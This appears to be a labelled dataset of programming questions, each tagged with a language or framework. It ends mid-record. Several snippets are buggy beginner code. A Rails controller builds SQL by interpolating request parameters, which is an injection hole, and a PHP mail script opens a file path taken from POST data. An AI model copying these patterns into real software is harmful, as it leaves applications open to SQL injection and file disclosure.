how to debug slow mysql  i have an sql query that takes 7 seconds to run on one computer  but on another computer (identical hardware  database has been copied over with mysqldump and so is the same)  that same query runs for over 2000 seconds.    how do i find out why this is  all the advice i can find online about debugging slow mysql seems to boil down to  find the slow queries . that doesn t help me here. show processlist doesn t show any other queries running  so why is it taking hundreds of times longer to execute this one on one computer than another,mysql
formal argument cannot be an instance variable  <pre><code>&lt;% @idea.each do |@idea| %&gt;   &lt;div id= basic_details  class= idea-show-columns &gt;     &lt;%= render :partial =&gt;  /ideas/idea_basic_show   :locals =&gt; {:idea =&gt; @idea} %&gt;     &lt;%= render :partial =&gt;  ideas/comments  %&gt;     &lt;%= render :partial =&gt;  ideas/mockups  %&gt;   &lt;/div&gt;    &lt;div id= copy_details  class= idea-show-columns &gt;     &lt;%= render :partial =&gt;  ideas/ copy_show   :locals =&gt; {:idea =&gt; @idea} %&gt;   &lt;/div&gt;  &lt;% end %&gt; </code></pre>   when i take the <code>@</code> off it says  parameter  idea  is not used   i cannot find the proper syntax for this.    ideascontroller   <pre><code>class ideascontroller &lt; applicationcontroller    def index     respond_to do |format|       if request.xhr          @ideas = idea.select( sku  id ).order(:sku)       else         if params[:search]           @ideas = idea.where( sku like  %#{params[:search]}%  or working_name like  %#     {params[:search]}%  or product_name like  %#{params[:search]}%  ).paginate(:page =&gt;      params[:page]).reload         else           @ideas = idea.paginate(:page =&gt; params[:page]).reload         end       end       format.html       format.json {render json: @ideas.where( sku like      %#{params[:q]}% ) }     end   end    def show     @idea = idea.find_by_permalink(params[:id])   end    def new     @idea = idea.new   end    def create     @idea = idea.new(new_idea_params)     if @idea.save       flash[:notice] =  idea created!        redirect_to ideas_url     else       render :new     end   end    def edit     @idea = idea.find_by_permalink(params[:id])   end    def update     @idea = idea.find_by_permalink(params[:id])     if request.xhr        if params[:comment]         @idea.comments.create(:title =&gt; params[:comment][:title]  :comment =&gt; params[:comment][:comment]  :user_id =&gt; current_user.id)       end       if @idea.update_attributes(update_status_params)         @success = true       else         @success = false       end     else       if @idea.update_attributes(edit_idea_params)         flash[:notice] =  idea updated!          redirect_to idea_url(params[:id])       else         render :edit       end     end   end    def destroy     idea.find_by_permalink(params[:id]).destroy     flash[:success] =  idea destroyed.      redirect_to ideas_url   end    def generate_mockups     idea = idea.find_by_permalink(params[:id])     begin       idea.generate_mockups     rescue exception =&gt; e       flash[:error] =  there was an error generating the mockups for #{idea.working_name}! # {e.message}      end     flash[:notice] =  successfully generated mockups for #{idea.working_name}      redirect_to idea_url(params[:id])   end    def signoff     if current_user.has_overlord_access        if params[:idea_id]         idea = idea.find(params[:idea_id])         idea.overlord_id = current_user.id         idea.status =  ready to publish          idea.save         flash[:notice] =  #{current_user.full_name} just signed off on #{idea.sku}          redirect_to :action =&gt; :signoff       end       @ideas = idea.awaiting_overlord_signoff.reload       @idea = @ideas.first.reload     else       flash[:notice] =  sorry  you must have overlord access to sign off on ideas.        redirect_to ideas_path     end   end    private    def new_idea_params     params.require(:idea).permit(:sku  :working_name  :working_description  :priority)   end    def update_status_params     params.require(:idea).permit(:art_status  :copy_status)   end    def edit_idea_params     (params[:idea][:color_ids] ||= []) unless !current_user.has_artist_access      (params[:idea][:imprintable_ids] ||= []) unless !current_user.has_copywriter_access      (params[:idea][:stores_ids] ||= []) unless !current_user.has_copywriter_access      (params[:idea][:taxonomies_ids] ||= []) unless !current_user.has_copywriter_access       params.require(:idea).permit(:sku  :working_name  :working_description  :priority        :product_name  :product_line_tokens                                   :description  :meta_description  :meta_keywords  :artist_id       :copywriter_id  :overlord_id                                    {:store_ids =&gt; []}  {:taxonomy_ids =&gt; []}  :base_price       :shipping_category  :default_artwork_id                                    :tax_category  {:imprintable_ids =&gt; []}  :marketplace       :product_type                                     :base  :colors_offered  :special_instructions  :copy_status       :art_status  {:color_ids =&gt; []}                                     :artworks_attributes =&gt; [:height  :width  :from_top          :from_center  :idea_id  :dimensions  :file  :_destroy  :id])   end    def update_status_params     params.require(:idea).permit(:copy_status  :art_status)   end end </code></pre>   i am getting the error    <pre><code>undefined method `each  for nil:nilclass </code></pre>,ruby-on-rails
open link in new tab using ctrl+click on buttonlink  i am trying to open the link (created using linkbutton) in the new window using ctrl+click  but the page is opening in the same window.    but here is some condition:<br/> 1. when i simply click (mouse click) on the link  it should open in the same tab. <br/>2. when i click (ctrl+click) on the link  it should open in the new tab <br/>please help me with the solution.   <pre><code>&lt;asp:linkbutton id= lnkbtnadd  runat= server  onclick= lnkbtnadd_click &gt;add new&lt;/asp:linkbutton&gt; </code></pre>,.net
how do we set path in img tag in html   i am just a starting with html  i have an apache server running  thus my problem is with the image not loading.    i have a home page in my apache htdocs folder in which another page <strong>about</strong> is hyperlinked  now in this about page is were i wanted to load the image but it doesn t work.    here is what i used    <code>&lt;img scr= c:\apache24\htdocs\coc\pictures\townhall.jpg &gt;</code>    why doesn t this work. i have tried.    <code>&lt;img scr= http:\\localhost\coc\pictures\townhall2.jpg &gt;</code>    but doesn t work.,html
doing the reverse of date.gettime()  i am converting dateobject to string doing   <pre><code>   var date = new date(); //tue nov 01 2016 17:00:48 gmt-0400 (edt)    var string = date.tostring();  //tue nov 01 2016 17:00:48 gmt-0400 (edt) </code></pre>   now i want to convert the my string to date object.how can i do this    <pre><code>   var dateobject =        </code></pre>,javascript
your app is missing support for the following url schemes: com .googleusercontent.apps.241222885422-bquei744e1i8q3h0r82k7fm31fbuej7m   i found the question and answer in many times but no one from that help  me :( . anyone can you please help me    <pre><code>&lt;key&gt;cfbundleurltypes&lt;/key&gt; &lt;array&gt;     &lt;dict&gt;         &lt;key&gt;cfbundletyperole&lt;/key&gt;         &lt;string&gt;editor&lt;/string&gt;         &lt;key&gt;cfbundleurlschemes&lt;/key&gt;         &lt;array&gt;             &lt;string&gt;http://com.googleusercontent.apps.241222885422-bquei744e1i8q3h0r82k7fm31fbuej7m&lt;/string&gt;         &lt;/array&gt;     &lt;/dict&gt;     &lt;dict&gt;         &lt;key&gt;cfbundletyperole&lt;/key&gt;         &lt;string&gt;editor&lt;/string&gt;         &lt;key&gt;cfbundleurlschemes&lt;/key&gt;         &lt;array&gt;             &lt;string&gt;sixsquarepc08.googleintegration&lt;/string&gt;         &lt;/array&gt;     &lt;/dict&gt; &lt;/array&gt; </code></pre>   this is my info.plist.,ios
how can i set timer in iphonegame app   i have an game application.i want to set a timer from the beginning upto end.can any one tell me how to set timer on iphone app     thanks in advance...,iphone
first column freezed while scrolling horizontally and all tds should be dragable in table using jquery  i want to freeze first column while scrolling horizontally and i want to assign one td to another td. 1 problem- while td assigning time if    i am moving just little bit to td it is not coming to its old place. for that i need any event to be occur so that i can refresh the page.    2 problem- if i freeze first column then i cannot move td of first column.     <pre><code> jsfiddle.net/kuldeep9211/90chfhwo/7/ </code></pre>   please help.,css
scanf doesn t work on online runners  i started learning c language yesterday and made a simple binary coverter. it works fine on my pc  however  it doesn t work on most online code runners(compilers) except for could9. it looks like the scanf function are not compatible with online ide in general     here s the code.   <pre><code>#include &lt;stdio.h&gt; #include &lt;string.h&gt;  int main(){     int a;    int b;    int c[255];    char opt[100];     printf( 10進数の値を入力してください &gt;  );    scanf( %d   &amp;a);    printf( 計算式を表示しますか  y(yes) or n(no) &gt;  );    scanf( %s   opt);     if(strcmp(opt   y ) == 0){         printf( \n計算式: \n );     }     int i = 0;    while(a &gt; 0){        b = a / 2;        c[i] = a % 2;         if(strcmp(opt   y ) == 0){            printf( %d ÷ 2 = %d 余り %d\n   a  b  c[i]);        }         a = b;         i++;    }     printf( \n2進数：  );     int j;    for(j = i-1; j &gt;= 0; j--){       printf( %d   c[j]);    }     printf( \n );    return 0; } </code></pre>   any advice will be much appreciated.,c
attachment gets corrupted somewhere along the process  i have the following php:   <pre><code>&lt; php if($_post){      $name = $_post[ name ];     $email = $_post[ email ];     $tel = $_post[ tel ];     $ciudaddel = $_post[ ciudaddel ];      $message = $_post[ message ];      $msg =  name:  .$name. \nemail:  .$email. \nsubject: contact . \nphone:  .$phone. \ncity:  .$ciudaddel. \nmessage:  .$message. \n ;       //de aqui     // carriage return type (we use a php end of line constant)     $eol =  \r\n ;      // a random hash will be necessary to send mixed content     $separator = md5(time());      // attachment name     $filename =  cv_de_ .$name. .pdf ;      //read file     $fileatt = $_post[ cv ]; // path to the file     $file = fopen($fileatt  rb );     $data = fread($file filesize($fileatt));     fclose($file);      // encode data (puts attachment in proper format)     $pdfdoc = $data; // path to the file     $attachment = chunk_split(base64_encode($pdfdoc));      // main header     $headers  =  from: &lt; .$email. &gt; .$eol;     $headers .=  mime-version: 1.0 .$eol;      $headers .=  content-type: multipart/mixed;{$eol}\tboundary=\  .$separator. \  ;      // no more headers after this     $body =  -- .$separator.$eol;     $body .=  content-type: text/html; charset=\ utf-8\  .$eol;     $body .=  content-transfer-encoding: 8bit .$eol.$eol;     $body .= $msg;     $body .= $eol.$eol;       // attachment     $body .=  -- .$separator.$eol;     $body .=  content-type: application/octet-stream; name=\  .$filename. \  .$eol;      $body .=  content-transfer-encoding: base64 .$eol;     $body .=  content-disposition: attachment .$eol.$eol;     $body .= $attachment.$eol;     $body .=  -- .$separator.$eol;  //send email     mail( email@provider.com    contact form   $body  $headers); } </code></pre>   i am trying to make it so that the user can upload a file  that file comes from <code>$_post[ cv ]</code>and that is retrieved via javascript like so:   <pre><code>$( #cv ).change( function(event) {             tmppath = url.createobjecturl(event.target.files[0]);         }); </code></pre>   i then send it on the ajax call. i do get the email and everything (even an attachment) however it s always corrupted.    i also keep getting the following errors but can t figure out why (specially since i don t know another way of providing the code with the temp path):   <blockquote>    failed to open stream: no such file or directory  </blockquote>   this if for line 34: <code>$file = fopen($fileatt  rb );</code>   <blockquote>    filesize(): stat failed for blob  </blockquote>   this is for line 35: <code>$data = fread($file filesize($fileatt));</code>    also on line 35:   <blockquote>    php warning: fread() expects parameter 1 to be resource  boolean  </blockquote>   and   <blockquote>    php warning: fclose() expects parameter 1 to be resource  boolean   given  </blockquote>   on line 36: <code>fclose($file);</code>    i tried adding a size for line 35 but didn t work so i m a little at a loss here.,php
how can i use mbprogresshud in multiple viewcontrollers   i have a problem using the mbprogresshud library. i can use it normally in my main viewcontroller  but  then  when i try to import the .h file in other view controller  i have the following error:   <blockquote>    redefinition of enumerator  mbprogresshudmodeindeterminate         redefinition of enumerator  mbprogresshudmodedeterminate <br>   ...  </blockquote>   does anyone knows how can i manage it     thanks    edit: i have the following imports in my main view controller   <pre><code>#import  viewcontroller.h  #import  fmdatabase.h  #import  appdelegate.h  #import  mbprogresshud.h   @implementation viewcontroller </code></pre>   when i try to put this imports in other view controller  i get the errors:   <pre><code>#import  finalviewcontroller.h  #import  parse/parse.h  #import  mbprogresshud.h   @implementation finalviewcontroller </code></pre>   i have used the mbprogresshud library from this link <a href= https://github.com/matej/mbprogresshud  rel= nofollow >https://github.com/matej/mbprogresshud</a>,objective-c
error: use of undeclared identifier  touchesbegan   i am getting the following error    use of undeclared identifier  touchesbegan     in the following code which is under @implementation   <pre><code>    sktexture* eyetexture1 = [sktexture texturewithimagenamed:@ eye1 ]; eyetexture1.filteringmode = sktexturefilteringnearest; sktexture* eyetexture2 = [sktexture texturewithimagenamed:@ eye2 ]; eyetexture2.filteringmode = sktexturefilteringnearest;      skaction* flap = [skaction repeatactionforever: [skaction animatewithtextures:@[eyetexture1      eyetexture2] timeperframe:0.2]];  _eye = [skspritenode spritenodewithtexture:eyetexture1]; [_eye setscale:2.0]; _eye.position = cgpointmake(self.frame.size.width / 4  cgrectgetmidy(self.frame)); [_eye runaction:flap];  }      -(void)touchesbegan:(nsset *)touches withevent:(uievent *)event { /* called when a touch begins */ </code></pre>,ios
c programming about choosing my version of a function  in function main() {...}    1) #include header file string.h    2) i prototype my own file  call it strcpy:   <pre><code>**char *strcpy(char *strsource   const char *dest);** </code></pre>   3) i also wish to use the  real  <em>strlen</em> function in string.h in main().    4) in another compilation file i have my version of strcpy.    question:  how can i get the linker to choose my version of strcpy instead of the prototype in string.h    <pre><code>enter code here #include &lt;conio.h&gt; #include &lt;string.h&gt; char *strcpy(char *source   const char *dest);  void main() { char *s  *d; strcpy(s d); getch(); }  #include &lt;stdio.h&gt; char *strcpy(char *strdestination  const char *strsource) { char *ptr; printf( made it! ); return ptr; } </code></pre>,c
rails actionmailer: does :sendmail work in production   i have a form on my site for users to contact me  and on form submission a mailer is delivered. in my config/initializers i have a setup_mail intializer:   <pre><code>actionmailer::base.smtp_settings = {   :address              =&gt;  localhost     :port                 =&gt; 25 }  actionmailer::base.delivery_method = :sendmail </code></pre>   it works in development. but compared to smtp servers (like gmail  where you have :login  :username  :password  etc.) i feel like there are so few settings  so i am wary of whether or not it works in production. where does <code>:sendmail</code> actually send from  for the email i want sent  it s going to use the user email as the sender and my email as the receiver.,ruby-on-rails
how do i round to exactly 2 decimal places in python   not to print  i want the actual value with less precision. for example if i say:    <pre><code>numb = 1.23456789123456789 print  num %0.2f  % numb </code></pre>   then it ll display it as having only 2 decimal places    <pre><code>num 1.23 </code></pre>   but in reality the value for numb will remain the same. how do i convert numb so that it will actually have the value of 1.23      the purpose is that i m trying to send this value into an api and the value is too precise for the api which is causing an error  the only things i can find online are about displaying a less precise value but not actually changing the value.     edit: i wanted to clarify that i want it rounded down. i know math.floor would do that but it only rounds to integers. is there a function that rounds down but with decimals as well     note: i m new to python so code samples are preferred  thanks!,python
how to install alchemist on ruby on rails  how do i install the <a href= https://github.com/halogenandtoast/alchemist  rel= nofollow >alchemist</a> gem     i have added <code>gem  alchemist </code> to my gemfile    <code>bundle install</code>    then i try 10.miles.to.kilometers and get an error: <code>undefined method</code>miles `    according to <a href= https://github.com/halogenandtoast/alchemist  rel= nofollow >alchemist</a> i have to add <code>alchemist.setup</code> somewhere. where do i add this,ruby-on-rails
show attached image on top of slcomposeviewcontroller  when adding an image to slcomposeviewcontroller  the image is shown to the right in the slcomposeviewcontroller view. however it s shown below (as in layer below) another default image looking like a compass. on top of that is a clip. what is this compass image  i d like to show the attached image on top. would be nice instead of that grey thing.    <img src= https://i.stack.imgur.com/7pxgv.png  alt= enter image description here >    the attached image is the white image below the compass.,ios
gridview data binding  i have  an empty field in a gridview and all what i want to do is to populate this empty field from another control which is detailview control.  when the page loads first  the detail view control is loaded with the data and the gridview is blank.  so how can i get the post_id field in the detailview into the gridview.  can someone please show me some detail example here   c# is prefered in my case for the code behind.  here is my field in the gridview:   <pre><code>&lt;asp:templatefield headertext= post id &gt;              &lt;itemtemplate&gt;                  &lt;asp:textbox id= textbox0  runat= server &gt;&lt;/asp:textbox&gt;              &lt;/itemtemplate&gt;          &lt;/asp:templatefield&gt; </code></pre>,asp.net
mysql table coumn data type cannot be changed  one of my tables has a column with datatype  tinyint .i want to change it to  boolean .my mysql version is 5.5.here is how i tried     <pre><code>alter table student change attnd attnd boolean;   </code></pre>   the results says 0 rows affected and in my mysql gui tool (sqlyog) shows that still no datatype affected as well. but i tried to change to <code>varchar</code> and it worked. only the issue i s with tinyint->boolean. any one know where the problem is,mysql
on submit not working after loading a external form using jquery load()  i have an issue:    jquery <code>.submit()</code> not working when i load an external form on a current page. see the code below:    <strong>html</strong>   <pre><code>&lt;div class= right-section job-desc col-md-12 &gt;     &lt;img id= cover_letter_edit  alt=   src= http://localhost/cv3/frontend_assets/images/icons/edit.png  class= float-right edit-icon &gt;     &lt;h3&gt;cover letter &amp; resume&lt;/h3&gt;     &lt;div class= clearfix &gt;&lt;/div&gt;     &lt;div id= cover_letter_view_sec &gt;         &lt;p&gt;what is the job about  enter overall description of your job.what is the job about  enter overall description of             your job.what is the job about  enter overall description of your job.what is the job about  enter overall description             of your job.what is the job about  enter overall description of your job.what is the job about  enter overall             description of your job.&lt;/p&gt;     &lt;/div&gt;     &lt;div id= load_edit_cover &gt;&lt;/div&gt; &lt;/div&gt; </code></pre>   <strong>jquery</strong>   <pre><code>$(document).ready(function () {     //alert(2)     $( #cover_letter_edit ).click(function () {         $( #cover_letter_view_sec ).hide();         $( #load_edit_cover ).load(getbaseurl() +  /home/editcoverletter )     })     $( #cover_letter_edit_sec ).submit(function (e) {         e.preventdefault();         alert(1)     }) }) </code></pre>   loaded form content:   <pre><code>$attribute = array( id  =&gt;  cover_letter_edit_sec    class  =&gt;  form-horizontal    method  =&gt;  post ); echo form_open(    $attribute)  &gt;  &lt;div class= form-group &gt; &lt;label class= col-md-3 &gt;cover letter&lt;/label&gt;     &lt;textarea rows= 5  cols= 50  name=   value=   id=   class= form-control col-md-8 &gt;&lt;/textarea&gt; &lt;/div&gt; &lt;div class= form-group &gt; &lt;label class= col-md-3 &gt;upload resume&lt;/label&gt;     &lt;input type= file  name= resume  value=   id=   class= form-control col-md-8 &gt; &lt;/div&gt; &lt;div class= form-group &gt;     &lt;label class= col-md-3 &gt;&lt;/label&gt;     &lt;button type= submit  class= btn btn-primary &gt;save&lt;/button&gt;     &lt;button type= submit  class= btn btn-warning canclebutton &gt;cancle&lt;/button&gt; &lt;/div&gt; </code></pre>   when i submit the form then this code is not working:   <pre><code>$( #cover_letter_edit_sec ).submit(function (e) {     e.preventdefault();     alert(1) }) </code></pre>   check the code  please.     thanks,jquery
adding values to array list with constructor from another class  error message  i m getting an error saying <em>cannot find symbol</em> and it is referring to the bolded area above <code>cards.add(new card(suit.spades i));</code>.     i have the following constructor in the  card  class:   <pre><code>card(suit suit  int rank) {     this.suit = suit;     this.rank = rank;  } </code></pre>   i have declared some enums in that class:    <pre><code>public enum suit {     spades  hearts  clubs diamonds  } </code></pre>   the deck class is where the i add to the arraylist.   <pre><code>arraylist cards = new arraylist(52); deck() {     //arraylist cards = new arraylist(52);     for (int i=0; i&lt;=13; i++){       cards.add(new card(suit.spades i));     } } </code></pre>,java
why is this program throwing java.lang.unsupportedoperationexception <pre><code>import java.util.map;  class test {     public static void main(string[] args) {         map&lt;string  string&gt; env = system.getenv();         system.out.println(env);         env.put( id    1 );     } } </code></pre>   i am adding some key value pairs in the map while initializing and then again adding one key value pair so what is wrong with the program,java
finding parts of file names and comparing them  hello all i am okay with java but not an expert i have been tasked with doing the following: (1) search before and after files to compare  use the first two (2) sections of the filename  company code and description.     the program below i have modified to fit my needs which searches both folders for file names that contain words or letter this works. <strong>the problem is that i want this program to compare file name parts. *</strong>    (1) search for the file name parts the contain only <strong>company code and description</strong> and omit the rest (because the files stored in the before and after folders will be slightly different). i want to do this for all files in both folders <strong>and hold the ones that match in an array</strong> then print them out (printing them out i know how to do that).    (below step optional pretty but concerned with the 1st step) (2) i want to take information stored in both arrays and compare the data inside the file to see if it is the same.    <strong>folder a = 3-m-alabama-suiquarter2-2017200259-cd61c4.txt</strong><br> <strong>folder b = 3-m-alabama-suiquarter2-2017200259-cd61c4-label.txt</strong><br> <strong><em>i am trying to parse out -2017200259-cd61c4 in both the text file</em></strong>   <pre><code>public class nameone {  public static void main(string[] args) {     file foldera = new file( c:/users/hoflerj/desktop/foldera );     file [] filesone = foldera.listfiles(new filenamefilter() {         @override         public boolean accept(file foldera  string nameone) {             //return name.endswith( .txt );             return nameone.contains( test );         }     });       for (file txtfile : filesone) {        if ( txtfile.getname().contains( t )){             system.out.println( match found ---&gt;   + (txtfile));             //system.out.println(txtfile);        }             else{                  system.out.println( (foldera) not contain specified match );              }         }      system.out.println( \n );      file folderb = new file( c:/users/hoflerj/desktop/folderb );     file [] filestwo = folderb.listfiles(new filenamefilter() {         @override         public boolean accept(file folderb  string nametwo) {             //return name.endswith( .txt );             return nametwo.contains( test );         }     });      for (file txtfile : filestwo) {            if ( txtfile.getname().contains( t )){                 system.out.println( match found ---&gt;   + (txtfile));            }                 else{                     system.out.println( (folderb) not contain specified match );                  }             }        }     } </code></pre>,java
url-dependent php scripts in sequence  i m attempting to display certain php scripts based on the url used. i have it working without issue until i try to do it twice. what am i missing     php:   <pre><code>&lt;div id= firstbox &gt;         &lt;span id= close  onclick= parentnode.remove() &gt;close&lt;/span&gt;         &lt;br&gt;         &lt;b&gt;&lt;a href= fulltext.php page=burgundiofullh1 &gt;burgundio&lt;/a&gt;&lt;/b&gt;         &lt; php                $host = $_server[ server_name ] . $_server[ request_uri ];         if($host ==  comparison.php page=1.1.1 )          {             $url =  homily1burgundio.txt ;             $homily = file($url);             foreach ($homily as $line) {                 $result = array_filter(preg_split(  /\r\n|\r|\n/   $line ));                 if ( isset($result[0]) )                     $line_array[] = $result[0];                 }             echo  &lt;p&gt;  . $line_array[1] .  &lt;/p&gt; ;         }      &gt;     &lt;/div&gt; </code></pre>   this works fine. however  when i try to display different text in a different box on the same page using the same url  it just displays the same text as the first time.     second box php:   <pre><code>&lt;div id= secondbox &gt;         &lt;span id= close  onclick= parentnode.remove() &gt;close&lt;/span&gt;         &lt;br&gt;         &lt;b&gt;&lt;a href= fulltext.php page=griffolinifullh1 &gt;griffolini&lt;/a&gt;&lt;/b&gt;         &lt; php            if($host ==  comparison.php page=1.1.1 )          {             $url =  homily1griffolini.txt ;             $homily = file($url);             foreach ($homily as $line) {                 $result = array_filter(preg_split(  /\r\n|\r|\n/   $line ));                 if ( isset($result[0]) )                     $line_array[] = $result[0];                 }             echo  &lt;p&gt;  . $line_array[1] .  &lt;/p&gt; ;         }      &gt;         &lt;/div&gt; </code></pre>,php
how to change html table cell type  i have a table in html to store a particular category and names associated with that category. here is my code-   <pre><code>&lt;table border = 1  width= 30% &gt;  &lt;tr&gt;     &lt;td&gt;&lt;em&gt;category&lt;/em&gt;&lt;/td&gt;     &lt;td&gt;&lt;em&gt;people&lt;/em&gt;&lt;/td&gt;  &lt;/tr&gt;  &lt;tr&gt;     &lt;td&gt;cars&lt;/td&gt;     &lt;td&gt;john smith&lt;/td&gt;  &lt;/tr&gt; &lt;/table&gt; </code></pre>   my question is- is it possible to make the second column in the table into a listbox/ combo box field to store multiple values  so that more than one person can be associated with each category without having to enter the category name more than once  totally new to html so any pointers appreciated.,html
regarding main method in java  in static method &amp; static block  we can t use the instance variable &amp; we can t create an object then how we use instance variable &amp; create an object inside the main method  because of the main method is also a static method.,java
best idea to show a movie on iphone app  i creating an application with movie animation   i have a animation some group of insects fly around a lamp    so i render my animation as png images [they are about 400 png image frames] and when i want play insects movie on my app ... it seems the iphone running out of memory (i try short animation and works fine) but long animation not ! .  what s your suggestion to play this animation on iphone sdk   i don t know the <code>mpmoviecontroller</code> is a good idea ! because my animation doesn t any background .,iphone
ienumerable count performance  i have a dataset of a database call and a resultset of in-memory dataset. i am looping through my in-memory dataset and getting count from the database results. the problem i m facing here is that i noticed the count performance is somewhat annoying. the database call return withing 1-2 seconds for 10000 records  however the operation on the count takes over 4 seconds.    i even tried parallel.foreach  but that didn t seem to help much.  update:   <pre><code>var dbresult = context.tables.tolist(); var inmemory = list&lt;myclass&gt;();//let s assume i have 100 items  foreach(var item in inmemory) { item.count1 = dbresult.where(item.somefilter).count()  item.count2 = dbresult.where(item.somefilter2).count() .....//more count } </code></pre>   <strong>2nd update:</strong> it seems like i need to clarify a few concerns with how i do what i do. i use linqkit to help me build dynamic expression. in some simple case  it works wonderful - but not the case for complex ones. in this example  i have defined a list of  myclass  let s say  history math science . in each of these classes  i have a different way of counting students. <br><br>for history class  badstudent = students with grade &lt; c and 65% attendance. <br>math class  badstudent = students with grade &lt; d and 50% attendance.<br><br> i do understand i have a choice to write a stored proc and make it work. however  i m trying to declare my filters this way because they are being used across other projects in my solution. it is easier to maintain and reuse. i m willing to accept the cost of doing  .tolist()  vs writing stored proc. as i indicated above  it is not the db performance that caused slowness.,.net
how to perform simple search using valueforkeypath of a model class in an array   i have a model class that has  name  and  description . i would to perform a search using valueforkeypath.     for example  using loop i would perform the search this way:    for (model model in allmodels) {   <pre><code>if (mode.name ==  name  || [absoluteurl rangeofstring:@ my_substring ].location == nsnotfound ) {    // put this model in a result list } </code></pre>   }    now  how do i do the same with something like this     nsarray *result = [allmodels valueforkeypath: @ [collect].{name == @ name }”];,objective-c
friend class declaration and member function declaration  why friend class need not forward declaration but  member function need     friend class:   <pre><code>class string0{      friend class string; private:     int size = 0;     string s; };  class string {       public:     string combine(const string &amp;s1); private:     int size = 0;     string s; };    </code></pre>   member friend:   <pre><code>class string {         public:     string combine(const string &amp;s1);  //why need this  private:     int size = 0;     string s; };  class string0 { friend string string::combine(const string &amp;); };  string string::combine(const string &amp;s1){...} </code></pre>   classes and nonmember functions need not have been declared before they are used in a friend declaration.  but why member function need,c++
unknown provider: sumbykeyfilterprovider <- sumbykeyfilter  i have a custom filter  taken from here: <a href= https://gist.github.com/cacodaimon/7309268  rel= nofollow noreferrer >https://gist.github.com/cacodaimon/7309268</a>. i call it sumbykey  it s in a file called <code>sumbykey.filter.js</code>. it s been working fine. i tried to write three more custom filters.    <code>totalsetuptime.filter.js</code>:   <pre><code>angular.module( core   [])     .filter( totalsetuptime   function () {         return function (order  options) {             if (typeof (order) ===  undefined  || typeof (options) ===  undefined ) {                 return 0;             }              var toreturn = 0;             angular.foreach(order.operations  function (obj  objkey) {                 toreturn += options.setuptime;             });             return toreturn;         };     }); </code></pre>   <code>runtimeplussetup.filter.js</code>:   <pre><code>angular.module( core   [])     .filter( runtimeplussetup   function () {         return function (order  options) {             if (typeof (order) ===  undefined  || typeof (options) ===  undefined ) {                 return 0;             }              totalruntimeminutes = 0;             $.each(order.operations  function (idx  elem) {                 totalruntimeminutes += elem.runtimeminutesperpiece;             });             return $filter( totalsetuptime )(order  options) + order.pieces * totalruntimeminutes / 60.0;         };     }); </code></pre>   <code>runtimeplussetupplusefficiency.filter.js</code>:   <pre><code>angular.module( core   [])     .filter( runtimeplussetupplusefficiency   function () {         return function (order  options) {             if (typeof (order) ===  undefined  || typeof (options) ===  undefined ) {                 return 0;             }              return $filter( runtimeplussetup )(order  options) * 2.0;         };     }); </code></pre>   that s totalsetuptime  in a file of course called <code>totalsetuptime.filter.js</code>. if i include this file  my main page throws me an error; <code>error: [$injector:unpr] unknown provider: sumbykeyfilterprovider &lt;- sumbykeyfilter</code>. i don t think the problem is actually the sumbykey filter  because that s been working fine  but if i take out all 3 (and it must be all 3) of my new custom filters  it goes back to working as intended. the component i m getting all the sumbykey errors on doesn t use any of these new filters at all  so i don t understand how they re throwing off angular. the component that does use them throws <code>error: [$injector:unpr] unknown provider: totalsetuptimefilterprovider &lt;- totalsetuptimefilter</code>.  am i just destroying all of angular s filtering ability  how can i get my custom filters working,angularjs
what s the difference between keydown and keypress in .net   what is the difference between the <code>keydown</code> and <code>keypress</code> events in <code>.net</code>,.net
circular nim game  trying to change this code  so that it will play the nim game like this:   <pre><code>01  02  03  04  05  06  07  08  09  20                              10      19  18  17  16  15  14  13  12  11 </code></pre>   so far  it prints like this:   <pre><code>0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8  0 1 2 3 4 5 6 7. </code></pre>  <hr>   this is the code:    i know it s clunky code  but i m still learning.   <pre><code>public class main {  public static void main(string[] args) {         system.out.println( let s play the nim game! );        thenimgame game = new thenimgame();       //rows rows1 = new rows();             game.startgame(); } </code></pre>   thenimgame.java   <pre><code>package com.company;  import java.util.arraylist; import java.util.scanner;   /**  * created by simonblixenkrone on 21/10/2015.  */ public class thenimgame {     private scanner scanner = new scanner(system. in );     private arraylist &lt; player &gt; players = new arraylist &lt; player &gt; ();     private arraylist &lt; rows &gt; rows = new arraylist &lt; rows &gt; ();     private int defaultvalueforrows = 3;     //private int maxnumberofobjectsinrow = 5;     private int maxnumberofobjectsinrow = 10;      public void setnumberofrows(int numberofrows) {         defaultvalueforrows = numberofrows;     }      public void startgame() {         // set game         populaterows();          //add players         for (int i = 0; i &lt; 2; i++) {             system.out.println( enter name of player   + i +  :  );             player player = new player();             player.setname(scanner.nextline());             players.add(player);         }          //run the game         while (true) {             printrows();             taketurn(players.get(0));             if (gameover() == true) {                 system.out.println(players.get(0) +   lost the game );                 break;             }             printrows();             taketurn(players.get(1));             if (gameover() == true) {                 system.out.println(players.get(1) +   lost the game );                 break;             }          }     }      private void printrows() {         for (int i = 0; i &lt; rows.size(); i++) {             system.out.println(rows.get(i));         }     }      // this methods put a max number of obj in the first row and the one les in the next...     private void populaterows() {         for (int i = 0; i &lt; defaultvalueforrows; i++) {             rows r = new rows();             r.setnumberofobjects(maxnumberofobjectsinrow - i);             rows.add(r);         }     }      private boolean gameover() {         /*for (int i = 0; i &lt; rows.size(); i++)         {             if (rows.get(i).getnumberofobjects() &gt; 0)             {                 return false;             }         }         return true;*/          for (rows row: rows) {             if (row.getnumberofobjects() &gt; 0) {                 return false;             }         }         return true;     }      private void taketurn(player player) {         system.out.println(player +  : which row do you want to take obejcts from  );         int rownumber = integer.parseint(scanner.nextline());          rows row = rows.get(rownumber - 1);          system.out.println(player +  : how many object do you want to remove  );         int numberofobjects = integer.parseint(scanner.nextline());          if (player.removeobjects(row  numberofobjects) == false) {             taketurn(player);         }      }  } </code></pre>   rows.java   <pre><code>package com.company;  /**  * created by simonblixenkrone on 21/10/2015.  */ public class rows {     private int numberofobjects = 20;     public int numberinrows = 0;      public int getnumberofobjects() {         return numberofobjects;     }      public void setnumberofobjects(int numberofobjects) {         this.numberofobjects = numberofobjects;     }      public boolean removeobjects(int numberofobjects) {         if (this.numberofobjects &gt;= numberofobjects) {             this.numberofobjects -= numberofobjects;             return true;         } else return false;     }      @override     public string tostring() {         string s =   ;         //        for (int i = 0; i &lt; numberofobjects; i++) {         for (int i = 0; i &lt; numberofobjects; i++) {             //s = s +  | ;             s = s + numberinrows+++   ;         }         return s;     } } </code></pre>   player.java   <pre><code>package com.company;  import java.util.scanner;  /**  * created by simonblixenkrone on 21/10/2015.  */ public class player {     private string name;     //private scanner scanner = new scanner(system.in);      public void entername(scanner scanner) {         setname(scanner.nextline());     }      @override     public string tostring() {         return getname();     }      public boolean 